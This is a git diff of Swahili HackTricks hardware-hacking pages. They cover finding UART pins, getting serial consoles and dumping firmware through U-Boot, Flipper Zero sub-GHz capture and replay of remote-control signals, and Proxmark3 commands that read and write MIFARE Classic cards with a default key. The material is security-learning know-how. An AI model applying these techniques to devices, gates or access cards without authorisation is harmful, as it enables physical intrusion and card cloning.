Kwa ujumla, laini inashikiliwa juu (kwa thamani ya mantiki 1) wakati UART iko katika hali ya kupumzika. Kisha, ili kuashiria mwanzo wa uhamisho wa data, mtumaji anatumia bit ya mwanzo kwa mpokeaji, wakati ambapo ishara inashikiliwa chini (kwa thamani ya mantiki 0). Kisha, mtumaji anatumia bits tano hadi nane za data zinazojumuisha ujumbe halisi, ikifuatiwa na bit ya parity ya hiari na bit moja au mbili za kusitisha (zikiwa na thamani ya mantiki 1), kulingana na usanidi. Bit ya parity, inayotumika kwa ajili ya kuangalia makosa, mara nyingi haionekani katika mazoezi. Bit ya kusitisha (au bits) inaashiria mwisho wa uhamisho.
|
||||
|
||||
Tunaita usanidi wa kawaida zaidi 8N1: bits nane za data, hakuna parity, na bit moja ya kusitisha. Kwa mfano, ikiwa tungependa kutuma herufi C, au 0x43 katika ASCII, katika usanidi wa 8N1 UART, tungepeleka bits zifuatazo: 0 (bit ya mwanzo); 0, 1, 0, 0, 0, 0, 1, 1 (thamani ya 0x43 katika binary), na 0 (bit ya kusitisha).
|
||||
Tunaita usanidi wa kawaida zaidi 8N1: bits nane za data, hakuna parity, na bit moja ya kusitisha. Kwa mfano, ikiwa tungependa kutuma herufi C, au 0x43 katika ASCII, katika usanidi wa UART wa 8N1, tungeweza kutuma bits zifuatazo: 0 (bit ya mwanzo); 0, 1, 0, 0, 0, 0, 1, 1 (thamani ya 0x43 katika binary), na 0 (bit ya kusitisha).
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -47,22 +34,22 @@ Zana za vifaa kuwasiliana na UART:
|
|||
|
||||
### Identifying UART Ports
|
||||
|
||||
UART ina bandari 4: **TX**(Transmit), **RX**(Receive), **Vcc**(Voltage), na **GND**(Ground). Unaweza kuwa na uwezo wa kupata bandari 4 zikiwa na herufi **`TX`** na **`RX`** **imeandikwa** kwenye PCB. Lakini ikiwa hakuna dalili, unaweza kuhitaji kujaribu kuzipata mwenyewe kwa kutumia **multimeter** au **logic analyzer**.
|
||||
UART ina bandari 4: **TX**(Transmit), **RX**(Receive), **Vcc**(Voltage), na **GND**(Ground). Unaweza kuwa na uwezo wa kupata bandari 4 zikiwa na herufi **`TX`** na **`RX`** **zilizoandikwa** kwenye PCB. Lakini ikiwa hakuna dalili, unaweza kuhitaji kujaribu kuzipata mwenyewe kwa kutumia **multimeter** au **logic analyzer**.
|
||||
|
||||
Kwa kutumia **multimeter** na kifaa kikiwa kimezimwa:
|
||||
|
||||
* Ili kubaini pini ya **GND** tumia hali ya **Continuity Test**, weka uongozi wa nyuma kwenye ardhi na jaribu na uongozi mwekundu hadi usikie sauti kutoka kwa multimeter. Pini kadhaa za GND zinaweza kupatikana kwenye PCB, hivyo unaweza kuwa umepata au hujapata ile inayohusiana na UART.
|
||||
* Ili kubaini bandari ya **VCC**, weka hali ya **DC voltage** na uweke hadi 20 V ya voltage. Probe mweusi kwenye ardhi na probe nyekundu kwenye pini. Washa kifaa. Ikiwa multimeter inapima voltage isiyobadilika ya 3.3 V au 5 V, umepata pini ya Vcc. Ikiwa unapata voltage nyingine, jaribu tena na bandari nyingine.
|
||||
* Ili kubaini bandari ya **TX**, weka hali ya **DC voltage** hadi 20 V ya voltage, probe mweusi kwenye ardhi, na probe nyekundu kwenye pini, na washia kifaa. Ikiwa unapata voltage inabadilika kwa sekunde chache kisha inastabilika kwenye thamani ya Vcc, umepata bandari ya TX. Hii ni kwa sababu wakati wa kuwasha, inatuma baadhi ya data za debug.
|
||||
* Ili kubaini bandari ya **VCC**, weka hali ya **DC voltage mode** na uweke hadi 20 V ya voltage. Probe mweusi kwenye ardhi na probe nyekundu kwenye pini. Washa kifaa. Ikiwa multimeter inapima voltage isiyobadilika ya 3.3 V au 5 V, umepata pini ya Vcc. Ikiwa unapata voltage nyingine, jaribu tena na bandari nyingine.
|
||||
* Ili kubaini bandari ya **TX**, weka **DC voltage mode** hadi 20 V ya voltage, probe mweusi kwenye ardhi, na probe nyekundu kwenye pini, na washia kifaa. Ikiwa unapata voltage inabadilika kwa sekunde chache kisha inastabilika kwenye thamani ya Vcc, umepata bandari ya TX. Hii ni kwa sababu wakati wa kuwasha, inatuma data fulani za debug.
|
||||
* Bandari ya **RX** itakuwa karibu zaidi na zingine 3, ina mabadiliko madogo ya voltage na thamani ya chini zaidi ya pini zote za UART.
|
||||
|
||||
Unaweza kuchanganya bandari za TX na RX na hakuna kitu kitakachotokea, lakini ikiwa unachanganya bandari za GND na VCC unaweza kuharibu mzunguko.
|
||||
Unaweza kuchanganya bandari za TX na RX na hakuna kitu kitakachotokea, lakini ikiwa unachanganya GND na bandari ya VCC unaweza kuharibu mzunguko.
|
||||
|
||||
Katika baadhi ya vifaa vya lengo, bandari ya UART imezimwa na mtengenezaji kwa kuzima RX au TX au hata zote mbili. Katika hali hiyo, inaweza kuwa na manufaa kufuatilia muunganisho kwenye bodi ya mzunguko na kupata sehemu ya kuvunja. Kidokezo kikubwa kuhusu kuthibitisha kutokuwepo kwa UART na kuvunja mzunguko ni kuangalia dhamana ya kifaa. Ikiwa kifaa kimepelekwa na dhamana fulani, mtengenezaji huacha baadhi ya interfaces za debug (katika kesi hii, UART) na hivyo, lazima awe amezima UART na ataiunganisha tena wakati wa debug. Pini hizi za kuvunja zinaweza kuunganishwa kwa kulehemu au nyaya za jumper.
|
||||
Katika baadhi ya vifaa vya lengo, bandari ya UART imezimwa na mtengenezaji kwa kuzima RX au TX au hata zote mbili. Katika kesi hiyo, inaweza kuwa na manufaa kufuatilia muunganisho kwenye bodi ya mzunguko na kupata sehemu fulani ya kuvunja. Kidokezo kikubwa kuhusu kuthibitisha kutokuwepo kwa UART na kuvunja mzunguko ni kuangalia dhamana ya kifaa. Ikiwa kifaa kimepelekwa na dhamana fulani, mtengenezaji huacha interfaces za debug (katika kesi hii, UART) na hivyo, lazima awe ameondoa UART na ataiunganisha tena wakati wa debugging. Pini hizi za kuvunja zinaweza kuunganishwa kwa kulehemu au nyaya za jumper.
|
||||
|
||||
### Identifying the UART Baud Rate
|
||||
|
||||
Njia rahisi ya kubaini kiwango sahihi cha baud ni kuangalia **matokeo ya pini ya TX na kujaribu kusoma data**. Ikiwa data unayopokea haiwezi kusomwa, badilisha hadi kiwango kinachowezekana cha baud hadi data iweze kusomwa. Unaweza kutumia adaptari ya USB-to-serial au kifaa cha matumizi mengi kama Bus Pirate kufanya hivyo, pamoja na script ya msaada, kama [baudrate.py](https://github.com/devttys0/baudrate/). Viwango vya kawaida vya baud ni 9600, 38400, 19200, 57600, na 115200.
|
||||
Njia rahisi ya kubaini kiwango sahihi cha baud ni kuangalia **matokeo ya pini ya TX na kujaribu kusoma data**. Ikiwa data unayopokea haiwezi kusomeka, badilisha hadi kiwango kinachowezekana cha baud hadi data iweze kusomeka. Unaweza kutumia adaptari ya USB-to-serial au kifaa cha matumizi mengi kama Bus Pirate kufanya hivyo, pamoja na script ya msaada, kama [baudrate.py](https://github.com/devttys0/baudrate/). Viwango vya kawaida vya baud ni 9600, 38400, 19200, 57600, na 115200.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ni muhimu kutambua kwamba katika protokali hii unahitaji kuunganisha TX ya kifaa kimoja na RX ya kingine!
|
||||
|
|
@ -72,9 +59,9 @@ Ni muhimu kutambua kwamba katika protokali hii unahitaji kuunganisha TX ya kifaa
|
|||
|
||||
Chip ya CP210X inatumika katika bodi nyingi za prototyping kama NodeMCU (ikiwa na esp8266) kwa Mawasiliano ya Serial. Adaptari hizi ni za bei nafuu na zinaweza kutumika kuunganisha kwenye interface ya UART ya lengo. Kifaa kina pini 5: 5V, GND, RXD, TXD, 3.3V. Hakikisha kuunganisha voltage kama inavyoungwa mkono na lengo ili kuepuka uharibifu wowote. Mwishowe, ungana pini ya RXD ya Adaptari na TXD ya lengo na pini ya TXD ya Adaptari na RXD ya lengo.
|
||||
|
||||
Ikiwa adaptari haijagundulika, hakikisha kuwa madereva wa CP210X yamewekwa kwenye mfumo wa mwenyeji. Mara tu adaptari inapogundulika na kuunganishwa, zana kama picocom, minicom au screen zinaweza kutumika.
|
||||
Ikiwa adaptari haijagundulika, hakikisha kuwa madereva wa CP210X yamewekwa kwenye mfumo wa mwenyeji. Mara baada ya adaptari kugundulika na kuunganishwa, zana kama picocom, minicom au screen zinaweza kutumika.
|
||||
|
||||
Ili kuorodhesha vifaa vilivyounganishwa kwenye mifumo ya Linux/MacOS:
|
||||
Ili orodhesha vifaa vilivyounganishwa kwenye mifumo ya Linux/MacOS:
|
||||
```
|
||||
ls /dev/
|
||||
```
|
||||
|
|
@ -94,13 +81,13 @@ Baada ya usanidi, tumia amri `minicom` kuanza kupata UART Console.
|
|||
|
||||
Iwapo adapta za UART Serial hadi USB hazipatikani, Arduino UNO R3 inaweza kutumika kwa hack ya haraka. Kwa kuwa Arduino UNO R3 kwa kawaida inapatikana popote, hii inaweza kuokoa muda mwingi.
|
||||
|
||||
Arduino UNO R3 ina adapta ya USB hadi Serial iliyojengwa kwenye bodi yenyewe. Ili kupata muunganisho wa UART, toa chip ya microcontroller ya Atmel 328p kutoka kwenye bodi. Hack hii inafanya kazi kwenye toleo la Arduino UNO R3 lenye Atmel 328p isiyosafishwa kwenye bodi (toleo la SMD linatumika ndani yake). Unganisha pini ya RX ya Arduino (Pini ya Kidijitali 0) kwenye pini ya TX ya Kiunganishi cha UART na pini ya TX ya Arduino (Pini ya Kidijitali 1) kwenye pini ya RX ya kiunganishi cha UART.
|
||||
Arduino UNO R3 ina adapta ya USB hadi Serial iliyojengwa kwenye bodi yenyewe. Ili kupata muunganisho wa UART, toa chip ya microcontroller ya Atmel 328p kutoka kwenye bodi. Hack hii inafanya kazi kwenye toleo la Arduino UNO R3 lenye Atmel 328p isiyosafishwa kwenye bodi (toleo la SMD linatumika ndani yake). Unganisha pini ya RX ya Arduino (Pini ya Kidijitali 0) kwa pini ya TX ya Kiolesura cha UART na pini ya TX ya Arduino (Pini ya Kidijitali 1) kwa pini ya RX ya kiolesura cha UART.
|
||||
|
||||
Hatimaye, inapendekezwa kutumia Arduino IDE kupata Serial Console. Katika sehemu ya `tools` kwenye menyu, chagua chaguo la `Serial Console` na weka baud rate kulingana na kiunganishi cha UART.
|
||||
Hatimaye, inapendekezwa kutumia Arduino IDE kupata Serial Console. Katika sehemu ya `tools` kwenye menyu, chagua chaguo la `Serial Console` na weka baud rate kulingana na kiolesura cha UART.
|
||||
|
||||
## Bus Pirate
|
||||
|
||||
Katika hali hii tutakuwa tukichunguza mawasiliano ya UART ya Arduino inayotuma uchapishaji wote wa programu kwenye Serial Monitor.
|
||||
Katika hali hii tutakuwa tukichunguza mawasiliano ya UART ya Arduino inayotuma uchapishaji wote wa programu kwa Monitor ya Serial.
|
||||
```bash
|
||||
# Check the modes
|
||||
UART>m
|
||||
|
|
@ -180,7 +167,7 @@ Kuna njia nyingi za kufanya hivi na sehemu ya SPI inashughulikia mbinu za kutoa
|
|||
|
||||
Dumping firmware kutoka kwa UART Console inahitaji kwanza kupata ufikiaji wa bootloaders. Wauzaji wengi maarufu hutumia uboot (Universal Bootloader) kama bootloader yao kupakia Linux. Hivyo, kupata ufikiaji wa uboot ni muhimu.
|
||||
|
||||
Ili kupata ufikiaji wa boot bootloader, ung'anisha bandari ya UART kwenye kompyuta na tumia yoyote ya zana za Serial Console na uweke usambazaji wa nguvu kwa kifaa kisichounganishwa. Mara mipangilio ikikamilika, bonyeza Kitufe cha Enter na ushikilie. Hatimaye, ung'anisha usambazaji wa nguvu kwa kifaa na uache ikianza.
|
||||
Ili kupata ufikiaji wa boot bootloader, ung'anisha bandari ya UART kwenye kompyuta na tumia yoyote ya zana za Serial Console na uweke usambazaji wa nguvu kwa kifaa kisichounganishwa. Mara tu mipangilio ikikamilika, bonyeza Kitufe cha Enter na ushikilie. Hatimaye, ung'anisha usambazaji wa nguvu kwa kifaa na uache ikianza.
|
||||
|
||||
Kufanya hivi kutakatisha uboot kutoka kupakia na kutatoa menyu. Inapendekezwa kuelewa amri za uboot na kutumia menyu ya msaada kuorodhesha hizo. Hii inaweza kuwa amri ya `help`. Kwa kuwa wauzaji tofauti hutumia mipangilio tofauti, ni muhimu kuelewa kila moja yao kwa tofauti.
|
||||
|
||||
|
|
@ -190,25 +177,13 @@ md
|
|||
```
|
||||
ambayo inasimama kwa "memory dump". Hii itatoa kumbukumbu (EEPROM Content) kwenye skrini. Inapendekezwa kuandika matokeo ya Serial Console kabla ya kuanza mchakato wa kukamata kumbukumbu.
|
||||
|
||||
Hatimaye, ondolewa tu data zisizohitajika kutoka kwa faili la log na uhifadhi faili kama `filename.rom` na tumia binwalk kutoa maudhui:
|
||||
Hatimaye, ondolewa tu data zisizohitajika kutoka kwa faili la logi na uhifadhi faili kama `filename.rom` na tumia binwalk kutoa maudhui:
|
||||
```
|
||||
binwalk -e <filename.rom>
|
||||
```
|
||||
Hii itataja maudhui yanayowezekana kutoka kwa EEPROM kulingana na saini zilizopatikana katika faili la hex.
|
||||
|
||||
Ingawa, ni muhimu kutambua kwamba si kila wakati uboot imefunguliwa hata kama inatumika. Ikiwa Kitufe cha Kuingia hakifanyi chochote, angalia funguo tofauti kama Kitufe cha Nafasi, n.k. Ikiwa bootloader imefungwa na haikatizwa, njia hii haitafanya kazi. Ili kuangalia ikiwa uboot ni bootloader wa kifaa, angalia matokeo kwenye UART Console wakati wa kuanzisha kifaa. Inaweza kutaja uboot wakati wa kuanzisha.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware ya kuiba taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
Ingawa, ni muhimu kutambua kwamba si kila wakati uboot imefunguliwa hata kama inatumika. Ikiwa Kitufe cha Kuingia hakifanyi chochote, angalia funguo tofauti kama Kitufe cha Nafasi, nk. Ikiwa bootloader imefungwa na haikatishwi, njia hii haitafanya kazi. Ili kuangalia ikiwa uboot ndiyo bootloader ya kifaa, angalia matokeo kwenye UART Console wakati wa kuanzisha kifaa. Inaweza kutaja uboot wakati wa kuanzisha.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
|||
|
|
@ -10,19 +10,11 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Na [**Flipper Zero**](https://flipperzero.one/) unaweza:
|
||||
|
||||
* **Sikiliza/Pata/Replay masafa ya redio:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||
|
|
@ -36,12 +28,6 @@ Na [**Flipper Zero**](https://flipperzero.one/) unaweza:
|
|||
|
||||
**Rasilimali nyingine za Flipper Zero ziko katika** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
@ -52,7 +38,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -10,22 +10,15 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Intro <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero inaweza **kupokea na kutuma masafa ya redio katika anuwai ya 300-928 MHz** kwa kutumia moduli yake iliyojengwa, ambayo inaweza kusoma, kuhifadhi, na kuiga remote controls. Remote hizi zinatumika kwa mwingiliano na milango, vizuizi, funguo za redio, swichi za remote control, kengele za mlango zisizo na waya, mwanga wa smart, na zaidi. Flipper Zero inaweza kukusaidia kujifunza ikiwa usalama wako umeathirika.
|
||||
Flipper Zero inaweza **kupokea na kutuma masafa ya redio katika anuwai ya 300-928 MHz** kwa moduli yake iliyojengwa, ambayo inaweza kusoma, kuhifadhi, na kuiga remote controls. Remote hizi zinatumika kwa mwingiliano na milango, vizuizi, funguo za redio, swichi za remote control, kengele za mlango zisizo na waya, mwanga wa smart, na zaidi. Flipper Zero inaweza kukusaidia kujifunza ikiwa usalama wako umeathirika.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -43,7 +36,7 @@ Flipper Zero ina moduli ya sub-1 GHz iliyojengwa inayotegemea [](https://www.
|
|||
Jinsi ya kupata ni masafa gani remote inatumia
|
||||
{% endhint %}
|
||||
|
||||
Wakati wa kuchambua, Flipper Zero inascan nguvu za ishara (RSSI) katika masafa yote yanayopatikana katika usanidi wa masafa. Flipper Zero inaonyesha masafa yenye thamani ya juu ya RSSI, ikiwa na nguvu ya ishara zaidi ya -90 [dBm](https://en.wikipedia.org/wiki/DBm).
|
||||
Wakati wa kuchambua, Flipper Zero inachanganua nguvu za ishara (RSSI) katika masafa yote yanayopatikana katika usanidi wa masafa. Flipper Zero inaonyesha masafa yenye thamani ya juu ya RSSI, ikiwa na nguvu ya ishara zaidi ya -90 [dBm](https://en.wikipedia.org/wiki/DBm).
|
||||
|
||||
Ili kubaini masafa ya remote, fanya yafuatayo:
|
||||
|
||||
|
|
@ -55,31 +48,31 @@ Ili kubaini masafa ya remote, fanya yafuatayo:
|
|||
### Read
|
||||
|
||||
{% hint style="info" %}
|
||||
Pata taarifa kuhusu masafa yanayotumika (pia njia nyingine ya kupata ni masafa gani yanayotumika)
|
||||
Pata habari kuhusu masafa yanayotumika (pia njia nyingine ya kupata ni masafa gani yanayotumika)
|
||||
{% endhint %}
|
||||
|
||||
Chaguo la **Read** **linasikiliza kwenye masafa yaliyosanidiwa** kwenye moduli iliyotajwa: 433.92 AM kwa msingi. Ikiwa **kitu kinapatikana** wakati wa kusoma, **taarifa inatolewa** kwenye skrini. Taarifa hii inaweza kutumika kuiga ishara siku zijazo.
|
||||
Chaguo la **Read** **linasikiliza kwenye masafa yaliyosanidiwa** kwenye moduli iliyotajwa: 433.92 AM kwa chaguo-msingi. Ikiwa **kitu kinapatikana** wakati wa kusoma, **habari inatolewa** kwenye skrini. Habari hii inaweza kutumika kuiga ishara siku zijazo.
|
||||
|
||||
Wakati Read inatumika, inawezekana kubonyeza **kitufe cha kushoto** na **kuisakinisha**.\
|
||||
Wakati huu ina **modulations 4** (AM270, AM650, FM328 na FM476), na **masafa kadhaa muhimu** yaliyohifadhiwa:
|
||||
Katika wakati huu ina **modulations 4** (AM270, AM650, FM328 na FM476), na **masafa kadhaa muhimu** yaliyohifadhiwa:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (947).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Unaweza kuweka **yoyote inayokuvutia**, hata hivyo, ikiwa **hujui ni masafa gani** yanaweza kuwa yanatumika na remote ulionayo, **weka Hopping kuwa ON** (Off kwa msingi), na bonyeza kitufe mara kadhaa hadi Flipper ikiteka na kukupa taarifa unayohitaji kuweka masafa.
|
||||
Unaweza kuweka **yoyote inayokuvutia**, hata hivyo, ikiwa **hujui ni masafa gani** yanaweza kuwa yanayotumiwa na remote ulionayo, **weka Hopping kuwa ON** (Off kwa chaguo-msingi), na bonyeza kitufe mara kadhaa hadi Flipper ikiteka na kukupa habari unayohitaji kuweka masafa.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Kubadilisha kati ya masafa kunachukua muda, kwa hivyo ishara zinazotumwa wakati wa kubadilisha zinaweza kupuuziliwa mbali. Kwa ajili ya kupokea ishara bora, weka masafa thabiti lililowekwa na Frequency Analyzer.
|
||||
Kubadilisha kati ya masafa kunachukua muda, kwa hivyo ishara zinazotumwa wakati wa kubadilisha zinaweza kupuuziliwa mbali. Kwa kupokea ishara bora, weka masafa thabiti yaliyopangwa na Frequency Analyzer.
|
||||
{% endhint %}
|
||||
|
||||
### **Read Raw**
|
||||
|
||||
{% hint style="info" %}
|
||||
Kununua (na kurudia) ishara katika masafa yaliyosanidiwa
|
||||
Pora (na rudia) ishara katika masafa yaliyosanidiwa
|
||||
{% endhint %}
|
||||
|
||||
Chaguo la **Read Raw** **linarekodi ishara** zinazotumwa katika masafa yanayosikilizwa. Hii inaweza kutumika **kukunja** ishara na **kurudia** hiyo.
|
||||
Chaguo la **Read Raw** **linarekodi ishara** zinazotumwa katika masafa yanayosikilizwa. Hii inaweza kutumika **kuiba** ishara na **kurudia** hiyo.
|
||||
|
||||
Kwa msingi **Read Raw pia iko katika 433.92 katika AM650**, lakini ikiwa na chaguo la Read umegundua kuwa ishara inayokuvutia iko katika **masafa/modulation tofauti, unaweza pia kubadilisha hiyo** kwa kubonyeza kushoto (wakati uko ndani ya chaguo la Read Raw).
|
||||
Kwa chaguo-msingi **Read Raw pia iko katika 433.92 katika AM650**, lakini ikiwa kwa chaguo la Read umepata kuwa ishara inayokuvutia iko katika **masafa/modulation tofauti, unaweza pia kubadilisha hiyo** kwa kubonyeza kushoto (wakati uko ndani ya chaguo la Read Raw).
|
||||
|
||||
### Brute-Force
|
||||
|
||||
|
|
@ -128,12 +121,6 @@ Pata dBms za masafa yaliyohifadhiwa
|
|||
|
||||
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
@ -144,7 +131,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,22 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Kuashiria Mifumo ya RFID kwa Proxmark3
|
||||
## Kuashiria Mifumo ya RFID kwa kutumia Proxmark3
|
||||
|
||||
Jambo la kwanza unahitaji kufanya ni kuwa na [**Proxmark3**](https://proxmark.com) na [**kufunga programu na utegemezi wake**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
|
||||
### Kuashiria MIFARE Classic 1KB
|
||||
|
||||
Ina **sehemu 16**, kila moja ina **blocks 4** na kila block ina **16B**. UID iko katika sehemu 0 block 0 (na haiwezi kubadilishwa).\
|
||||
Ili kufikia kila sehemu unahitaji **funguo 2** (**A** na **B**) ambazo zimehifadhiwa katika **block 3 ya kila sehemu** (sehemu trailer). Sehemu trailer pia inahifadhi **bit za ufikiaji** ambazo zinatoa **ruhusa za kusoma na kuandika** kwenye **kila block** kwa kutumia funguo 2.\
|
||||
Ili kufikia kila sehemu unahitaji **funguo 2** (**A** na **B**) ambazo zimehifadhiwa katika **block 3 ya kila sehemu** (sehemu trailer). Sehemu trailer pia inahifadhi **vigezo vya ufikiaji** vinavyotoa **ruhusa za kusoma na kuandika** kwenye **kila block** kwa kutumia funguo 2.\
|
||||
Funguo 2 ni muhimu kutoa ruhusa za kusoma ikiwa unajua ya kwanza na kuandika ikiwa unajua ya pili (kwa mfano).
|
||||
|
||||
Mashambulizi kadhaa yanaweza kufanywa
|
||||
|
|
@ -52,11 +44,11 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
|
|||
proxmark3> hf mf eget 01 # Read block 1
|
||||
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
||||
```
|
||||
